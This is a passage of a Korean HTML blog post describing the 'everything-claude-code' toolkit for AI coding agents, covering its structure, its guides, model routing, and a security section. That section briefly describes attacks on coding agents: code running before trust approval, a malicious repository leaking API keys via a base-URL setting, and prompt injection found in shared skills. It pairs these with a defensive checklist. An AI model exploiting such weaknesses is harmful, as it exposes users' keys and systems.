&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;크로스 플랫폼:&lt;/b&gt; Claude Code뿐 아니라 Codex, Cursor, OpenCode를 중심으로 Antigravity와 Gemini CLI(실험적)까지 문서화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;12개 언어/생태계:&lt;/b&gt; TypeScript, Python, Go, Rust, Java, Kotlin, Swift, C++, PHP, Perl 등 폭넓은 언어/프레임워크 규칙과 리뷰어 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자가 학습:&lt;/b&gt; Continuous Learning v2로 세션에서 패턴을 자동 학습하여 스킬로 진화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 내장:&lt;/b&gt; AgentShield 보안 스캐너와 종합 보안 가이드 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 프로젝트 구조 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 프로젝트 전체 구조&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디렉토리 구성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 전체 프로젝트 구조는 다음과 같다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;everything-claude-code/
├── agents/           # 36개 전문 서브에이전트 (Markdown + YAML)
├── skills/           # 151개 워크플로우 스킬
├── commands/         # 68개 레거시 슬래시 엔트리
├── hooks/            # hooks.json &amp;mdash; 자동화 훅 설정
├── rules/            # 코딩 규칙 (common/ + 12개 언어/생태계)
├── contexts/         # 동적 시스템 프롬프트 (dev, review, research)
├── examples/         # CLAUDE.md 예제 (SaaS, Go, Django, Laravel, Rust)
├── mcp-configs/      # MCP 서버 설정 모음
├── schemas/          # 10개 JSON 스키마
├── scripts/          # CLI 도구 (ecc.js, claw.js, doctor.js 등)
├── docs/             # 번역 (한국어, 일본어, 중국어 등 6개 언어)
├── .claude/          # Claude Code 설정
├── .claude-plugin/   # Claude Code 플러그인 메타데이터
├── .codex/           # OpenAI Codex 지원
├── .codex-plugin/    # Codex 플러그인 메타데이터
├── .cursor/          # Cursor IDE 지원
├── .opencode/        # OpenCode 지원
├── .gemini/          # Gemini CLI 지원 (실험적)
├── the-shortform-guide.md   # 핵심 가이드
├── the-longform-guide.md    # 고급 가이드
└── the-security-guide.md    # 보안 가이드&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 구성요소 한눈에 보기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3r4ZG/dJMcacvSl72/57Ttnro2O8Xtftmheqcbp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3r4ZG/dJMcacvSl72/57Ttnro2O8Xtftmheqcbp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3r4ZG/dJMcacvSl72/57Ttnro2O8Xtftmheqcbp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3r4ZG%2FdJMcacvSl72%2F57Ttnro2O8Xtftmheqcbp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1530&quot; height=&quot;830&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구성요소&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수량&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Agents&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;36&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;특화된 서브에이전트 (planner, code-reviewer, security-reviewer 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Skills&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;151&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도메인별 워크플로우 정의 (TDD, 보안 리뷰, 프레임워크 패턴 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Commands&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;68&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;레거시 슬래시 엔트리 (/plan, /tdd, /code-review 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Hooks&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;25+&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;7개 이벤트 타입에 걸친 자동화 트리거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Rules&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;34+&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;공통 규칙 + 12개 언어/생태계별 코딩 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP Configs&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff;&quot;&gt;여러 개&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사전 구성된 MCP 서버 템플릿/설정 모음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 3대 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 3대 가이드 &amp;mdash; Shortform / Longform / Security&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC에는 세 개의 핵심 가이드 문서가 포함되어 있다. 제작자는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Shortform Guide를 가장 먼저 읽을 것&lt;/b&gt;&lt;/span&gt;을 권장한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;828&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAos5O/dJMcai3Qvqe/XxGxLjA21VolLdd2QzKze0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAos5O/dJMcai3Qvqe/XxGxLjA21VolLdd2QzKze0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAos5O/dJMcai3Qvqe/XxGxLjA21VolLdd2QzKze0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAos5O%2FdJMcai3Qvqe%2FXxGxLjA21VolLdd2QzKze0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;828&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Shortform Guide &amp;mdash; 기본기 다지기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;전체 구조를 잡는 데 가장 중요한 문서다. 다음 핵심 개념을 다룬다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Skills &amp;amp; Commands:&lt;/b&gt; &lt;code&gt;~/.claude/skills/&lt;/code&gt;에 저장되는 워크플로우 정의. 코드맵(codemap)을 포함하여 Claude가 컨텍스트 소모 없이 코드베이스를 탐색할 수 있게 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Hooks:&lt;/b&gt; 다양한 훅 타입(PreToolUse, PostToolUse, SessionStart, Stop, PreCompact 등)으로 도구 호출 전후에 자동 실행되는 스크립트. ECC의 hooks.json은 7개 이벤트 타입을 활용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Subagents:&lt;/b&gt; 제한된 범위와 도구 권한을 가진 위임 프로세스. 메인 에이전트의 컨텍스트를 절약한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Rules &amp;amp; Memory:&lt;/b&gt; &lt;code&gt;.claude/rules/&lt;/code&gt;에 모듈별로 구성된 규칙 파일(보안, 코딩 스타일, 테스팅, Git 워크플로우 등).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCPs:&lt;/b&gt; 외부 서비스 연결. 단, 컨텍스트 윈도우에 미치는 영향을 주의해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP 컨텍스트 경고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자의 경고: &quot;200K 컨텍스트 윈도우가 MCP 도구가 너무 많으면 실제로는 70K밖에 안 될 수 있다.&quot;&lt;br /&gt;&lt;b&gt;권장:&lt;/b&gt; 20~30개 설정하되, 동시 활성화는 10개 미만, 활성 도구는 80개 미만으로 유지한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;제작자의 실제 셋업도 공개되어 있다. 14개 MCP 서버를 설정하되 프로젝트당 5~6개만 활성화하고, 커스텀 훅으로 포맷팅, 타입체크, console.log 경고 등을 자동화한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Longform Guide &amp;mdash; 고급 패턴&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Shortform을 읽은 뒤 진행하는 심화 가이드다. 핵심 내용:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;MCP를 CLI로 대체하기&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub, Supabase, Vercel 등 많은 MCP는 기존 CLI를 래핑한 것에 불과하다. MCP 대신 CLI를 직접 사용하는 스킬/커맨드를 만들면 &lt;b&gt;토큰 비용을 절감&lt;/b&gt;할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;동적 시스템 프롬프트 주입&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md에 모든 것을 넣는 대신, &lt;code&gt;--system-prompt&lt;/code&gt; 플래그로 상황에 맞는 컨텍스트를 동적으로 주입한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 개발 모드
alias claude-dev='claude --system-prompt &quot;$(cat ~/.claude/contexts/dev.md)&quot;'

# 코드 리뷰 모드
alias claude-review='claude --system-prompt &quot;$(cat ~/.claude/contexts/review.md)&quot;'

# 리서치 모드
alias claude-research='claude --system-prompt &quot;$(cat ~/.claude/contexts/research.md)&quot;'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;서브에이전트 모델 라우팅&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;작업 유형에 따라 적절한 모델을 선택하여 비용을 최적화한다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 작업의 복잡도에 따라&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;848&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsTVUz/dJMcadhdDhZ/kkmFM9JoTeHxASi6MMs9SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsTVUz/dJMcadhdDhZ/kkmFM9JoTeHxASi6MMs9SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsTVUz/dJMcadhdDhZ/kkmFM9JoTeHxASi6MMs9SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsTVUz%2FdJMcadhdDhZ%2FkkmFM9JoTeHxASi6MMs9SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1560&quot; height=&quot;848&quot; data-origin-width=&quot;1560&quot; data-origin-height=&quot;848&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 비용과 성능에 따라&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;774&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNmVX3/dJMcaadKnRl/udYN9zADj3lnmf3zEVeMf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNmVX3/dJMcaadKnRl/udYN9zADj3lnmf3zEVeMf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNmVX3/dJMcaadKnRl/udYN9zADj3lnmf3zEVeMf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNmVX3%2FdJMcaadKnRl%2FudYN9zADj3lnmf3zEVeMf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1454&quot; height=&quot;774&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;774&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;작업 유형&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;권장 모델&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;탐색/검색&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Haiku&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;빠르고 저렴하며, 파일 탐색에 충분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;일반 코딩 (90%)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Sonnet&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비용 대비 성능 최적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;아키텍처/보안&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Opus&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;깊은 추론 필요, 취약점 놓칠 수 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;문서 작성&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Haiku&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;구조가 단순한 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;복잡한 디버깅&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Opus&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;전체 시스템 맥락이 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;mgrep &amp;mdash; 토큰 절감 도구&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC 공식 Longform Guide의 자체 벤치마크에 따르면, mgrep 플러그인은 기존 grep/ripgrep 대비 &lt;b&gt;약 50% 수준의 토큰 절감&lt;/b&gt;을 목표로 설계됐다. 다만 이 수치는 ECC 측이 공개한 50개 작업 벤치마크 기반이므로, 독립적인 외부 검증 수치로 보기는 어렵다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Security Guide &amp;mdash; 에이전트 보안&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 에이전트 보안에 대한 종합 가이드다. 실제 CVE와 공격 벡터를 다룬다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 보안 이슈 (2025-2026)&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CVE-2025-59536&lt;/b&gt; (CVSS 8.7): Claude Code의 startup trust dialog 구현 버그로 인해 사용자가 신뢰를 승인하기 전에 프로젝트 내 코드가 실행될 수 있었던 취약점. v1.0.111에서 수정.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CVE-2026-21852:&lt;/b&gt; 악성 저장소가 프로젝트 로드 단계에서 &lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt; 등을 악용해 신뢰 확인 전에 API 요청을 보내고 키를 유출할 수 있었던 취약점. v2.0.65에서 수정.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Snyk ToxicSkills 보고서:&lt;/b&gt; 공개된 3,984개 스킬 중 36%에서 프롬프트 인젝션이 발견되었고, 1,467개의 악성 페이로드가 식별됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Security Guide가 제시하는 &lt;b&gt;최소 보안 기준 체크리스트&lt;/b&gt;:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;에이전트 ID를 개인 계정과 분리한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;단기 스코프 자격 증명을 사용한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;비신뢰 작업은 컨테이너/VM에서 격리하여 실행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;아웃바운드 네트워크를 기본 차단한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;비밀 정보가 담긴 경로에 대한 읽기를 제한한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;파일/HTML/스크린샷은 권한 있는 에이전트에 전달하기 전에 정제(sanitize)한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;도구 호출, 승인, 네트워크 시도를 로깅한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로세스 그룹 킬(kill)과 하트비트 기반 데드맨 스위치를 구현한다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;제작자의 보안 철학&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;악의적인 텍스트가 컨텍스트에 들어올 것을 전제하고 만들어라. 도구 설명이 거짓말할 수 있다고 전제하고 만들어라. 저장소가 오염될 수 있다고 전제하고 만들어라. 그리고 모델이 악의적 입력에 설득당하더라도 시스템이 안전하게 동작하도록 만들어라.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 핵심 구성요소 상세 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 핵심 구성요소 상세&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6EfnX/dJMcahcQML7/xC7nB4SnfxIEaT2Kogiah1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6EfnX/dJMcahcQML7/xC7nB4SnfxIEaT2Kogiah1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6EfnX/dJMcahcQML7/xC7nB4SnfxIEaT2Kogiah1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6EfnX%2FdJMcahcQML7%2FxC7nB4SnfxIEaT2Kogiah1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;846&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Agents &amp;mdash; 36개 전문 에이전트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 에이전트는 YAML 프론트매터가 포함된 Markdown 파일로 정의된다. &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;tools&lt;/code&gt;(접근 가능한 도구), &lt;code&gt;model&lt;/code&gt;(사용 모델)을 지정한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
